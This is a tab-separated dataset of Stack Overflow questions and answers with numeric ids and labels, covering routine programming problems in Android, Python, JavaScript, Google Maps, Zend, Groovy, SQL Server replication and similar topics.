18169735	0	 <p>The input method framework is based upon the idea of an input connection. The framework instantiates one between the keyboard and the EditText. If you want to accept text from the keyboard you need to implement that side of the interface yourself, then get the framework to use your interface as the other half of the input session. This is really, really non-trivial and if you do it wrong specialized keyboards like Swype, Swiftkey, etc will not work correctly. I wouldn't suggest doing it without a very good reason. </p> <p>If you just want them to type into an existing edit text, focus that view instead. That way the input connection will be set to that view and everything will be done for you.</p>
6394860	0	 <p>@Maz - thank you for that. I'm learning at the moment and need to look at <code>service_set</code>.</p> <p>@arustgi - that worked perfectly. For the benefit of fellow novices stumbling over this, I pass in <code>'queryset': Service.objects.all()</code> and use:</p> <pre><code> {% regroup object_list by area as area_list %} {% for area in area_list %} &lt;h2 class="separate"&gt;{{ area.grouper }}&lt;/h2&gt; {% for service in area.list %} &lt;div class="column"&gt; &lt;h3&gt;{{ service.title }}&lt;/h3&gt; {{ service.body }} &lt;/div&gt; {% endfor %} {% endfor %} </code></pre> <p>Concise, descriptive code. Many thanks, both of you</p>
8835956	0	Make CVDisplayLink + Automatic Reference Counting play well together <p>I recently switched from using NSTimer to CVDisplayLink to redraw my OpenGL animation, but i've got a little problem making it work with ARC switched on:</p> <pre><code>/* * This is the renderer output callback function. */ static CVReturn displayLinkCallback(CVDisplayLinkRef displayLink, const CVTimeStamp* now, const CVTimeStamp* outputTime, CVOptionFlags flagsIn, CVOptionFlags* flagsOut, void* displayLinkContext) { // now is the time to render the scene [((__bridge BDOpenGLView*)displayLinkContext) setNeedsDisplay:YES]; // always succeeds, because we don't actually do anything here anyway return kCVReturnSuccess; } </code></pre> <p>The display link callback function has to be written in C, to be used as a parameter for</p> <pre><code>// set the renderer output callback function CVDisplayLinkSetOutputCallback(displayLink, &amp;displayLinkCallback, (__bridge void*)self); </code></pre> <p>So i can't use <code>self</code> within in the callback, but using <code>((__bridge BDOpenGLView*) displayLinkContext)</code> produces a memory leak:</p> <pre><code>objc[29390]: Object 0x1001b01f0 of class NSConcreteMapTable autoreleased with no pool in place - just leaking - break on objc_autoreleaseNoPool() to debug </code></pre> <p>I read, that i have to set up an <code>NSAutoreleasePool</code> myself, but i can't with ARC switched on.</p> <p>Am i missing something?</p>
27251414	0	java.util.concurrent.TimeoutException: Request timed out to in gatling <p>Hi i'm running concurrent users 200 over 200 seconds, when I execute same script after 2-3 sets I'm getting this error do i need to do some settings in gatling for example shareConnections in conf file or its because server is not able to respond to more request.</p> <pre><code>class LoginandLogout extends Simulation { val scn = scenario("LoginandLogout") .exec(Login.open_login) .pause(Constants.SHORT_PAUSE) .exec(CommonSteps.cscc_logout_page) setUp(scn.inject(rampUsers(200) over (200 seconds))).protocols(CommonSteps.httpProtocol) } </code></pre> <p>I'm using gatling 2.0.0-RC5 scala 2.10.2</p>
38972851	0	 <p>If you are using a version of .net less than 4.5, manual collection may be inevitable (especially if you are dealing with many 'large objects'). </p> <p>this link describes why:</p> <p><a href="https://blogs.msdn.microsoft.com/dotnet/2011/10/03/large-object-heap-improvements-in-net-4-5/" rel="nofollow">https://blogs.msdn.microsoft.com/dotnet/2011/10/03/large-object-heap-improvements-in-net-4-5/</a></p>
12789997	0	 <pre><code>set.intersection(*map(set,d3)) </code></pre> <p><em>Will</em> actually work, though because <code>d3</code> already contains sets you can just do:</p> <pre><code>set.intersection(*d3) </code></pre> <p>And, in fact, only the first one needs to be a <code>set</code> - the others can be any iterable, and <code>intersection</code> will setify them by itself.</p> <p>The problem you're having doesn't seem to be in this code - rather, </p> <pre><code>for list1 in masterlist: list1 = thingList1 </code></pre> <p>Won't actually put anything into <code>thingList1</code>. It is hard to tell without seeing what <code>masterlist</code> looks like, but you may want something like:</p> <pre><code>for list1 in masterlist: thingList1[:] = list1 </code></pre> <p><code>print</code> your three lists before you do the intersection to make sure they contain what you expect.</p>
17611242	0	 <p>First of all, C++ is not designed to work like that. So it is not a surprise that this is happening.</p> <p>But, since you're using Visual Studio, you could take advantage of <a href="http://en.wikipedia.org/wiki/C%2B%2B/CX#Partial_classes" rel="nofollow">partial classes</a>. Unfortunately, it seems this characteristic is only related to C++/CX so maybe yo won't be able to use it.</p> <p>You will still need to declare a partial class in your namespace hierarchy, but I guess it could be empty.</p> <p>To be honest, I haven't used this feature and I don't know how far can it be bent in order to achieve what you want. But you could anyway give it a try.</p> <p>Remember that this is a Visual Studio extension, so your code won't be cross-platform.</p> <p>Hope this helps. Somehow.</p>
20594029	1	How do you order what websites reply in Skype4Py? <p>I use Skype4Py for my Skype Bot I've been working on. <br> I was wondering how I could order what the APIs respond.<br> For example, if I wanted to get the weather, I'd type !weather<br> and it would respond with: </p> <blockquote> <p>Gathering weather information. Please wait...<br> Weather: { "data": { "current_condition": [ {"cloudcover": "0", "humidity": "39", "observation_time": "11:33 AM", "precipMM": "0.0", "pressure": "1023", "temp_C": "11", "temp_F": "51", "visibility": "16", "weatherCode": "113", "weatherDesc": [ {"value": "Clear" } ], "weatherIconUrl": [ {"value": "http://cdn.worldweatheronline.net/images/wsymbols01_png_64/wsymbol_0008_clear_sky_night.png" } ], "winddir16Point": "N", "winddirDegree": "0", "windspeedKmph": "0", "windspeedMiles": "0" } ], "request": [ {"query": "90210", "type": "Zipcode" } ] }} </p> </blockquote> <p>and I would like to have it be more like: </p> <blockquote> <p>Weather:<br> Current Temp: 51 F | 22 C<br> Humidity: 39%<br> Wind Speed: 0 MPH</p> </blockquote> <p>or something cleanly ordered out like that.<br> That way it looks less ugly in Skype, and looks more professional. </p> <hr> <p>I should've added the code: </p> <pre><code> def weather(zip): try: return urllib2.urlopen('http://api.worldweatheronline.com/free/v1/weather.ashx?q='+zip+'&amp;format=json&amp;num_of_days=1&amp;fx=no&amp;cc=yes&amp;key=r8nkqkdsrgskdqa9spp8s4hx' ).read() except: return False </code></pre> <p>That is my functions.py </p> <p>This is my commands.py: </p> <pre><code> elif msg.startswith('!weather '): debug.action('!weather command executed.') send(self.nick + 'Gathering weather information. Please wait...') zip = msg.replace('!weather ', '', 1); current = functions.weather(zip) if 4 &gt; 2: send('Weather: ' + current) else: send('Weather: ' + current) </code></pre> <p>Like I stated, I'm using Skype4Py, and yeah. </p>
27324005	0	 <p>The jar may be in your deployed folder, but is the jar (or your deployed folder with a wildcard) in the CLASSPATH?</p>
36256638	0	 <p>First you read a byte from <code>pFile1</code> with <code>fgetc()</code> so the file pointer has moved one step ahead, then you do a <code>fread()</code> so the first byte will never land in <code>buffer</code></p> <pre><code> for(counter=0; counter&lt;fileLen; counter++) { fputc(fgetc(pFile1),pFile2); ch = fread(buffer, sizeof(char), 6000000, pFile1); printf("%02x", buffer[counter]); } </code></pre> <p>I find it a bit difficult to understand why you do the fread in the manner you do. If you really want to display the byte you just read then just assign the return value from <code>fgetc</code> to a variable and print it out .</p> <pre><code> for (counter=0; counter&lt;fileLen; ++counter) { int ch = fgetc(pfile1); printf("%02X", ch ); int written = fputc(ch,pfile2); if (written != EOF) { buffer[counter]=ch; } else // some error handling } </code></pre>
12987229	0	 <p>Yes <a href="http://docs.python.org/library/stdtypes.html#dict.get" rel="nofollow">dict.get</a> is the correct (or at least, the simplest) way:</p> <pre><code>sorted(trial_list, key=trial_dict.get) </code></pre> <p>As Mark Amery commented, the equivalent explicit lambda:</p> <pre><code>sorted(trial_list, key=lambda x: trial_dict[x]) </code></pre> <p>might be better, for at least two reasons:</p> <ol> <li>the sort expression is visible and immediately editable</li> <li>it doesn't suppress errors (when the list contains something that is not in the dict). </li> </ol>
27912810	0	Change turtle size keeping lower point position constant <p>I have distributed turtles on the world having size <code>x</code> and I wish to increase their size to <code>y</code> but the I want to keep their location of their lower further point same (Check figure below). How can one accomplish this? </p> <p>EDIT: I wished to write a procedure that could be applicable for all turtle heading, that is if the turtle is heading 0 or 90 or 45. Direct math in such case could be complicated. <img src="https://i.stack.imgur.com/foaIr.png" alt="Figure"></p>
1481039	0	Show certain InfoWindow in Google Map API V3 <p>I wrote the following code to display markers. There are 2 buttons which show Next or Previous Infowindow for markers. But problem is that InfoWindows are not shown using google.maps.event.trigger Can someone help me with this problem. Thank you. Here is code:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta name="viewport" content="initial-scale=1.0, user-scalable=no" /&gt; &lt;meta http-equiv="content-type" content="text/html; charset=UTF-8"/&gt; &lt;title&gt;Google Maps JavaScript API v3 Example: Common Loader&lt;/title&gt; &lt;script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; var infowindow; var map; var bounds; var markers = []; var markerIndex=0; function initialize() { var myLatlng = new google.maps.LatLng(41.051407, 28.991134); var myOptions = { zoom: 5, center: myLatlng, mapTypeId: google.maps.MapTypeId.ROADMAP } map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); markers = document.getElementsByTagName("marker"); for (var i = 0; i &lt; markers.length; i++) { var latlng = new google.maps.LatLng(parseFloat(markers[i].getAttribute("lat")), parseFloat(markers[i].getAttribute("lng"))); var marker = createMarker(markers[i].getAttribute("name"), latlng, markers[i].getAttribute("phone"), markers[i].getAttribute("distance")); } rebound(map); } function createMarker(name, latlng, phone, distance) { var marker = new google.maps.Marker({position: latlng, map: map}); var myHtml = "&lt;table style='width:100%;'&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;" + name + "&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;" + phone + "&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align='right'&gt;" + distance + "&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;"; google.maps.event.addListener(marker, "click", function() { if (infowindow) infowindow.close(); infowindow = new google.maps.InfoWindow({content: myHtml}); infowindow.open(map, marker); }); return marker; } function rebound(mymap){ bounds = new google.maps.LatLngBounds(); for (var i = 0; i &lt; markers.length; i++) { bounds.extend(new google.maps.LatLng(parseFloat(markers[i].getAttribute("lat")),parseFloat(markers[i].getAttribute("lng")))); } mymap.fitBounds(bounds); } function showNextInfo() { if(markerIndex&lt;markers.length-1) markerIndex++; else markerIndex = 0 ; alert(markers[markerIndex].getAttribute('name')); google.maps.event.trigger(markers[markerIndex],"click"); } function showPrevInfo() { if(markerIndex&gt;0) markerIndex--; else markerIndex = markers.length-1 ; google.maps.event.trigger(markers[markerIndex],'click'); } &lt;/script&gt; &lt;/head&gt; &lt;body onload="initialize()"&gt; &lt;div id="map_canvas" style="width:400px; height:300px"&gt;&lt;/div&gt; &lt;markers&gt; &lt;marker name='Name1' lat='41.051407' lng='28.991134' phone='+902121234561' distance=''/&gt; &lt;marker name='Name2' lat='40.858746' lng='29.121666' phone='+902121234562' distance=''/&gt; &lt;marker name='Name3' lat='41.014604' lng='28.972256' phone='+902121234562' distance=''/&gt; &lt;marker name='Name4' lat='41.012386' lng='26.978350' phone='+902121234562' distance=''/&gt; &lt;/markers&gt; &lt;input type="button" onclick="showPrevInfo()" value="prev"&gt;&amp;nbsp;&lt;input type="button" onclick="showNextInfo()" value="next"&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
35069505	0	 <p>If you want to test just the logic (and not that <code>date</code> is working correctly), then allow your script to accept <code>CUR_DAY</code> and <code>CUR_HOUR</code> as arguments or via the environment, instead of always running <code>date</code>.</p> <p>Via the environment (<code>CUR_DAY=9 CUR_HOUR=22 myscript</code>)</p> <pre><code>: ${CUR_DAY:=$(date +%a)} : ${CUR_HOUR:=$(date +%H)} </code></pre> <p>Via arguments (<code>myscript 9 22</code>)</p> <pre><code>CUR_DAY=${1:-$(date +%a)} CUR_HOUR=${2:-$(date +%H)} </code></pre> <p>Either approach will work in any POSIX-compliant shell.</p>
972282	0	 <p><strong>Regarding #9:</strong></p> <p>When you provide a context to your selector queries you limit the size of the tree being traversed to find the elements matching your selector, especially if you're using selectors that use tag names like: $('div > span').</p> <p>Performance depends on the type of selector and the number of elements in the context you're providing.</p> <p>Take a look at <a href="https://developer.mozilla.org/En/DOM/Document.getElementsByTagName" rel="nofollow noreferrer">getElementsByTagName</a> to better understand these issues.</p> <p>As for "which one is better" - this depends heavily on the size of the DOM being traversed and on a number of other elements, but in general, the first selector (the one with the context) should be faster.</p> <p><strong>Regarding #12:</strong></p> <p>In general, it is good practice to use event delegation when the number of child elements inside a parent element (cells inside a table, for example) is unknown and is expected to be quite large. This usually applies to cases where data is pulled from a server. The common scenarios are tree and grid structures.</p> <p><strong>Regarding #13:</strong></p> <p>I think the example provided in the document you're referring to does the job, but I'll try to elaborate a bit further. Classes are a common and standard way to attach additional information to HTML nodes. Lets take a Tab bar as an example: assuming you have a standard class "tab" which applies to every tab in your tab bar, you could add an additional class to one of the tabs to indicate that it is currently selected. Adding an additional class called "selected" would allow you to apply a different style to the selected tab and query the tab bar using jQuery for some additional logic (for example: check which tab is currently selected to perform an HTTP request and retrieve the content for this tab).</p> <p><strong>Regarding #14:</strong></p> <p>Classes are limited in the type and amount of data you can (or should) store in them. Data is a more flexible way to store large amounts of state data for HTML elements.</p>
6048553	0	 <p>Is your project configured as a console application? It needs to be built with different switches in order to set the flags in the exe file so that the OS loader will know that it needs to create a console window for the process. GUI apps don't set that flag, and don't get a console window.</p> <p>In VS2010, right click on your project's Properties link, click on the Application tab, and change Output Type from Windows Application to Console Application. Rebuild and run.</p>
12453586	0	what is the usage of HTML5 figure with img <p>Is there any specific advantage/usage of using HTML5 <a href="https://developer.mozilla.org/en-US/docs/HTML/Element/figure"><code>&lt;figure&gt;</code></a> over <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img"><code>&lt;img&gt;</code></a>?</p> <p>I think <code>&lt;figure&gt;</code> is useless without <a href="https://developer.mozilla.org/en-US/docs/HTML/Element/figcaption"><code>&lt;figurecaption&gt;</code></a>, isn't it?</p> <p>It will be helpful if explain with an example.</p>
29751046	0	Is it possible to apply DDD with generic classes and dynamic queries retrieval? <p>I´m wondering if it´s possible to use DDD without using EF's stuff, cause in my project the classes are generic complex types with generic inheritance that may vary from time to time, also the DB tables and fields may vary from one client DB version to another, also the queries to the database that are dynamically constructed depending of the generic object that it's produced. </p> <p>I'm currently taking into consideration this design pattern: <a href="https://www.google.be/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=3&amp;cad=rja&amp;uact=8&amp;ved=0CC4QFjAC&amp;url=http%3A%2F%2Fmysoftwarebrasil.googlecode.com%2Fsvn%2Ftrunk%2FApostilas%2FN-Layered_Domain_Oriented_Architecture_Gu.pdf&amp;ei=ag41VfDnNMfaaPemgUA&amp;usg=AFQjCNHx-myttEEeUuE9bGuKZzqvdXS5yA&amp;sig2=pO-t4JxMN35HYoJKUIg0AA&amp;bvm=bv.91071109,d.d2s" rel="nofollow">DDD N-Layered .NET 4.0 Architecture Guide </a> by Cesar de la Torre among others.</p> <p>Thank you all in advance. </p>
19421659	0	VS 2012 Plugin to make working with Classic ASP Easier <p>I am currently working with a Classic ASP project that grabs some data from the database, creates a bunch of HTML and embeds the data into it, then emails that to people.</p> <p>I want to know where this HTML body is being generated (company wants to make a change to it), the files involved are numerous and have hundreds of includes .. is there a way I can easily determine the location of the emailing code?</p> <blockquote> <p>Ctrl + Shift + F</p> </blockquote> <p>Does not work because that HTML is shared among many pages, and none of them match the Source Code in the Email I am getting. Could this be because Outlook 2010 adds extra Markup?</p> <p>Are there any VS 2012 plugins that make working with Classic ASP easier and aid me solve my problem?</p> <p>Would greatly appreciate any help.</p> <p>Thanks</p>
30710709	0	 <p>Use the <code>ng-click</code> directive:</p> <pre><code>&lt;div class="item" ng-click="clicked(d)" ng-class="{ active: d.selected }"&gt; &lt;h3 class="spaceWrap"&gt;&lt;b&gt;{{d.Name}}&lt;/b&gt;&lt;/h3&gt; &lt;/div&gt; </code></pre> <p>controller:</p> <pre><code>var selected = []; $scope.clicked = function (member) { var index = selected.indexOf(member); if(index &gt; -1) { selected.splice(index, 1); member.selected = false; } else { selected.push(member); member.selected = true; } } </code></pre> <p><a href="http://jsfiddle.net/po1cod44/1/">JSFIDDLE</a></p>
14626462	0	Highchart renderer path issue in IE8 <p>I have been using </p> <pre><code>chart.renderer.path(['M', 12, 0, 'L', 6, 12, 'L', 18, 12, 'Z']).attr({ 'stroke-width' : 2, 'fill' : 'black', 'transform' : "translate(" + x + "," + y + ")" }).add(); </code></pre> <p>to draw triangle path over the chart and move to require position by using Translate attribute.</p> <p>But In IE8, the transform attribute is being ignored (the triangle appears in the top left corner), but it works fine in FF, Chrome etc. Is that the problem with CSS3 support issue?</p> <p>Is there any work around to fix this issue?</p> <p>Thanks Peter</p>
1935509	0	How to set the message of the NotEmpty validator on a Zend_Form_Element? <p>I have a form element that I'm setting as required:</p> <pre><code>$this-&gt;addElement('text', 'email', array( 'label' =&gt; 'Email address:', 'required' =&gt; true )); </code></pre> <p>Since I'm setting required to true, it makes sure that it's not empty. The default error message looks like this:</p> <pre><code>"Value is required and can't be empty" </code></pre> <p>I tried setting the message on the validator, but this throws a fatal error:</p> <pre><code>$validator = $this-&gt;getElement('email')-&gt;getValidator('NotEmpty'); $validator-&gt;setMessage('Please enter your email address.'); </code></pre> <blockquote> <p>Call to a member function setMessage() on a non-object</p> </blockquote> <p>How can I set the message to a custom error message?</p>
36555645	0	The most correct implementation with regards to OOP design? <p>Right now I have a subclass of <code>UICollectionViewCell</code> called <code>MyCollectionViewCell</code> and this class has a few <code>UITextViews</code> and as a result implements its own <code>UITextFieldDelegate</code> methods. I also have a subclass of <code>UIView</code> called <code>MyView</code> that is a container view for 2 <code>UIViews</code> all in the same <code>UIViewController</code> and has some methods that control the interactions between the two views. </p> <p>My question is should I create delegates for <code>MyCollectionViewCell</code> and <code>MyView</code> so that the <code>ViewController</code> can handle all the logic or should I keep the classes self contained so that they control their own actions which can be called via the <code>ViewController</code> that they are both contained in?</p>
14386487	0	Bootstrap progress bar using $.get <p>I realize there are a good number of progress bar related questions already present on SO. I browsed through many of them and was unable to get things working.</p> <p>Simply put, I am developing a page in JSP and I want to use an animated progress bar within bootstrap to display while the calls are being made for the data.</p> <p>HTML:</p> <pre><code>&lt;div class="row-fluid"&gt; &lt;div class="span12 progress progress-striped active"&gt; &lt;div id="searchAnimation" class="bar" hidden="true"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Servlet (Not sure if this part is relevant, but better safe than sorry):</p> <pre><code>@Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { //String that gets returned as HTML StringBuilder returnAsHTML = new StringBuilder(); //See if the class is closed, has a lab, or is just a regular class for(ClassInfo classes : springClassListings) { //Class is full, style accordingly if(classes.getSectionMeetingInfo().contentEquals("LEC") &amp;&amp; classes.getSectionEnrolled().contentEquals("0")) { returnAsHTML.append(closedClass(classes)); } else if(classes.getSectionMeetingInfo().contentEquals("LAB")) //These are labs, style accordingly { returnAsHTML.append(labClass(classes)); } else //These are normal classes without lab components { returnAsHTML.append(openClass(classes)); } } response.setContentType("text/html"); response.setCharacterEncoding("UTF-8"); response.getWriter().write(returnAsHTML.toString()); } </code></pre> <p>And my scripting:</p> <pre><code>//Serves up the data $('#btnData').click(function() { //THIS IS THE PROGRESS BAR $("#searchAnimation").show(); $.get('daoServlet', function(responseText) { $('#dataDisp').html(responseText); }); }); </code></pre> <p>I get the idea, % the width of the progress bar by a where the $.get call is at in terms of getting the data. I just don't understand how to do it.</p> <p>PS - I know my for/if in the doGet is a nasty anti pattern, I just haven't figured out a way around it yet.</p>
37204549	0	 <p>it's working properly here. Make sure you're using returns inside a function.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>function test(a, b){ var dateFrom = Date.parse(a); var dateTo = Date.parse(b); if ( dateFrom &gt; dateTo ) { console.log( a, ' &gt; ',b ); return false; } console.log( a, ' &lt;= ', b ); return true; } var result = test('06-05-2016 13:05', '13-05-2016 13:05'); document.getElementById('test').innerHTML = result; console.log( result )</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div id="test"&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
30522654	0	 <p>First <a href="http://www.1001freefonts.com/" rel="nofollow">download</a> the .ttf file of the font you need (arial.ttf). Place it in the assets folder(Inside assest folder create new folder named "fonts" and place it inside it). If "txtyour" is the textvies you want to apply the font , use the following piece of code,</p> <pre><code> Typeface type = Typeface.createFromAsset(getAssets(),"fonts/arial.ttf"); txtview.setTypeface(type); </code></pre>
23019653	0	 <p>Thanks for responding Ali. I figured it out. Here is what I am doing: </p> <p>Sender: I am sending the ID as the "contentId" (instead of a video url) in the loadMedia method.</p> <p>Receiver: I added the ansynchronous call to the beginning of the "onLoad" event and then overwrite the data['media']['contentId'] value with the URL of the video.</p>
3920557	0	 <p>Look at <a href="http://msdn.microsoft.com/en-us/library/ms536914%28v=vs.85%29.aspx" rel="nofollow"><code>oncontextmenu()</code></a>.</p> <p>Careful though, users expect the default when they right click. It may annoy some power users.</p> <p><a href="http://luke.breuer.com/tutorial/javascript-context-menu-tutorial.htm" rel="nofollow">This</a> looks like good reading.</p>
13567122	0	How to parse text in Groovy <p>I need to parse a text (output from a svn command) in order to retrieve a number (svn revision). This is my code. Note that I need to retrieve all the output stream as a text to do other operations.</p> <pre><code>def proc = cmdLine.execute() // Call *execute* on the strin proc.waitFor() // Wait for the command to finish def output = proc.in.text </code></pre> <p>//other stuff happening here</p> <pre><code>output.eachLine { line -&gt; def revisionPrefix = "Last Changed Rev: " if (line.startsWith(revisionPrefix)) res = new Integer(line.substring(revisionPrefix.length()).trim()) } </code></pre> <p>This code is working fine, but since I'm still a novice in Groovy, I'm wondering if there were a better idiomatic way to avoid the ugly if...</p> <p>Example of svn output (but of course the problem is more general)</p> <pre><code>Path: . Working Copy Root Path: /svn URL: svn+ssh://svn.company.com/opt/svnserve/repos/project/trunk Repository Root: svn+ssh://svn.company.com/opt/svnserve/repos Repository UUID: 516c549e-805d-4d3d-bafa-98aea39579ae Revision: 25447 Node Kind: directory Schedule: normal Last Changed Author: ubi Last Changed Rev: 25362 Last Changed Date: 2012-11-22 10:27:00 +0000 (Thu, 22 Nov 2012) </code></pre> <p>I've got inspiration from the answer below and I solved using find(). My solution is:</p> <pre><code>def revisionPrefix = "Last Changed Rev: " def line = output.readLines().find { line -&gt; line.startsWith(revisionPrefix) } def res = new Integer(line?.substring(revisionPrefix.length())?.trim()?:"0") </code></pre> <p>3 lines, no if, very clean</p>
11809126	1	Cannot determine vowels from consonants <p>With the code below, no matter what the first letter of the input is, it is always determined as a vowel:</p> <pre><code>original = raw_input("Please type in a word: ") firstLetter = original[0] print firstLetter if firstLetter == "a" or "e" or "i" or "o" or "u": print "vowel" else: print "consonant" </code></pre> <p>In fact, it doesn't matter what the boolean is in the if statement... if it is == or != , it is still return <code>"vowel"</code>. Why?</p>
26009819	0	 <p>Qt does not include a compiler. On Windows you're probably either compiling with mingw or Visual C++. Either way, the issue is that you're calling a function that expects a wide character string but you're trying to hand it an 8-bit character string.</p> <p>For compatibility reasons, <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ff381407%28v=vs.85%29.aspx" rel="nofollow">Win32 uses a different set of API functions if you have _UNICODE defined</a>. In your case, you do have _UNICODE defined. You can continue using the 8-bit std::string but simply change the method from <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms648045%28v=vs.85%29.aspx" rel="nofollow">LoadImage() to LoadImageA()</a>. Or if you don't mind changing your Bitmap class, you could switch from std::string to std::wstring to take advantage of Windows' Unicode features.</p> <p>But perhaps the larger question is why use Win32 to load bitmaps and std::string if you're using Qt? Qt's <a href="http://qt-project.org/doc/qt-5/QImage.html" rel="nofollow">QImage class</a> and <a href="http://qt-project.org/doc/qt-5/qstring.html" rel="nofollow">QString class</a> provide a full-featured, cross-platform strings and image loaders. Like any comprehensive framework, Qt works best if you only use external features on an as-needed basis. </p>
27584059	0	 <p>Update:</p> <p>Use the <a href="http://api.jquery.com/replacewith/" rel="nofollow">replaceWith</a> jquery for this, for example:</p> <pre><code>&lt;!doctype html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;find demo&lt;/title&gt; &lt;script src="//code.jquery.com/jquery-1.10.2.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;ol type="1"&gt; &lt;h1&gt;Main Title&lt;/h1&gt; &lt;/ol&gt; &lt;script&gt; $("h1").replaceWith( "&lt;li&gt;" + $("h1").text() + "&lt;/li&gt;" ); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
39814785	0	Acknowledgements in socket.io when using mongoose <p>I use <code>socket.io</code> to communicate between server and client.</p> <p>On the server, I have</p> <pre><code>socket.on('new object', (id, object) =&gt; { Model.findByIdAndUpdate(id, { $addToSet: { objects: object } }, { new: true }).then(model =&gt; { io.sockets.emit('new object', object); }).catch(err =&gt; { console.log(err); }); }); </code></pre> <p>So when a new object is created, I broadcast it to all sockets (including the sender).</p> <p>What I want is to tell the client who started this process from the client if everything was successful.</p> <p>I have found <a href="http://socket.io/docs/#sending-and-getting-data-(acknowledgements)" rel="nofollow">http://socket.io/docs/#sending-and-getting-data-(acknowledgements)</a>, but I don't know exactly how to do it.</p> <p>I guess I should do something like</p> <pre><code>socket.on('new object', (id, object, callbackFunction) =&gt; { Model.findByIdAndUpdate(id, { $addToSet: { objects: object } }, { new: true }).then(model =&gt; { callbackFunction('success'); io.sockets.emit('new object', object); }).catch(err =&gt; { callbackFunction('error'); }); }); </code></pre> <p>and on the client have</p> <pre><code>socket.emit('new object', id, object, function (msg) { alert(msg); }); </code></pre> <p>but is this correct? I guess there will be a problem of calling <code>callbackFunction</code> inside <code>then</code> and <code>catch</code>.</p>
28067925	0	 <p>You could do something like this:</p> <pre><code>Dim sLowerCase As String = "qwertyuiopasdfghjklzxcvbnm" Dim sUpperCase As String = "MNBVCXZLKJHGFDSAPOIUYTREWQ" Dim sNumbers As String = "1234567890" Dim x = New Random(Now.GetHashCode) Dim y = {sLowerCase, sUpperCase, sNumbers} Dim z = y(x.Next(0, y.Length)) Debug.Print(z) </code></pre>
23827108	0	SQL Server transactional replication performance <p>I have an issue with SQL Server transactional replication performance. The published articles are on a database which is being used quite heavily however i am not convinced the replication is should be going this slow and I could use some advice on interpreting the information from replication monitor.</p> <p><img src="https://i.stack.imgur.com/tm3yS.png" alt="http://i.imgur.com/Alx37tO.png"> <img src="https://i.stack.imgur.com/T89Tt.png" alt="enter image description here"></p> <p><img src="https://i.stack.imgur.com/POdnS.png" alt="enter image description here"></p> <p>I have noticed that the distributor agent has a delivery rate of 0 which concerns me. Can someone explain what the following information means in real terms and how i can go about improving the performance of replication?</p>
20097995	0	Referencing Databases In SQL 2008 Mirrored Reporting <p>I have 2 databases.</p> <p>1 is a mirror of the other, <strong>EXCEPT</strong>, 1 has a table called <strong>DOG</strong> and the other has the same table but it is called <strong>DOG2</strong>.</p> <p>I have an ssrs report that references DOG..DOGID. </p> <p>Now when DOG goes down I want to use the connection string to DOG2, the only issue is my reference to DOG..ID will no longer be valid if I am connecting to DOG2. </p> <p>Is there a way in SQL code to make it so if DOG..DOGID is invalid use DOG2..DOGID?</p>
9330629	0	 <p>I have same problem I solved so:</p> <p>first create a class KeyBoardManager:</p> <pre><code>import android.content.Context; import android.os.Handler; import android.view.inputmethod.InputMethodManager; public class KeyBoardManager { public KeyBoardManager(Context context) { final Handler handler = new Handler(); final InputMethodManager imm = (InputMethodManager) context.getSystemService(Context.INPUT_METHOD_SERVICE); new Thread(new Runnable() { @Override public void run() { while(true){ try{Thread.sleep(100);}catch (Exception e) {} handler.post(new Runnable() { @Override public void run() { if(!imm.isAcceptingText()){ imm.toggleSoftInput(InputMethodManager.SHOW_IMPLICIT, InputMethodManager.HIDE_NOT_ALWAYS); } } }); } } }).start(); } } </code></pre> <p>and in method onCreate of first activity you create a new instance of KeyBoardManager like:</p> <pre><code>public class Main extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); new KeyBoardManager(this); } } </code></pre> <p>and when your edittext is draw in screen for the firs time you call:]</p> <pre><code>(new Handler()).postDelayed(new Runnable() { editText.requestFocus(); editText.dispatchTouchEvent(MotionEvent.obtain(SystemClock.uptimeMillis(),SystemClock.uptimeMillis(), MotionEvent.ACTION_DOWN , 0, 0, 0)); editText.dispatchTouchEvent(MotionEvent.obtain(SystemClock.uptimeMillis(),SystemClock.uptimeMillis(), MotionEvent.ACTION_UP , 0, 0, 0)); }, 200); </code></pre>
7694627	0	 <p>this should explain it:</p> <p><a href="http://mobile.tutsplus.com/tutorials/android/android-application-preferences/" rel="nofollow">http://mobile.tutsplus.com/tutorials/android/android-application-preferences/</a></p>
28868396	0	 <p>You need to use a string rather than a variable:</p> <pre><code>if user_seating == 'economy': </code></pre> <p>The way you have it, Python is looking for an actual variable named <code>economy</code> declared in your code (which there isn't as the <code>NameError</code> tells you).</p>
16830269	0	 <pre><code>// You may use FormClosing Event of Form private void yourForm_FormClosing(object sender, FormClosingEventArgs e) { if (MessageBox.Show("Want to exit from Application ?", MessageBoxButtons.YesNo) == DialogResult.Yes) { Environment.Exit(0); } else { // your Code for Changes or anything you want to allow user changes etc. e.Cancel = true; } } </code></pre>
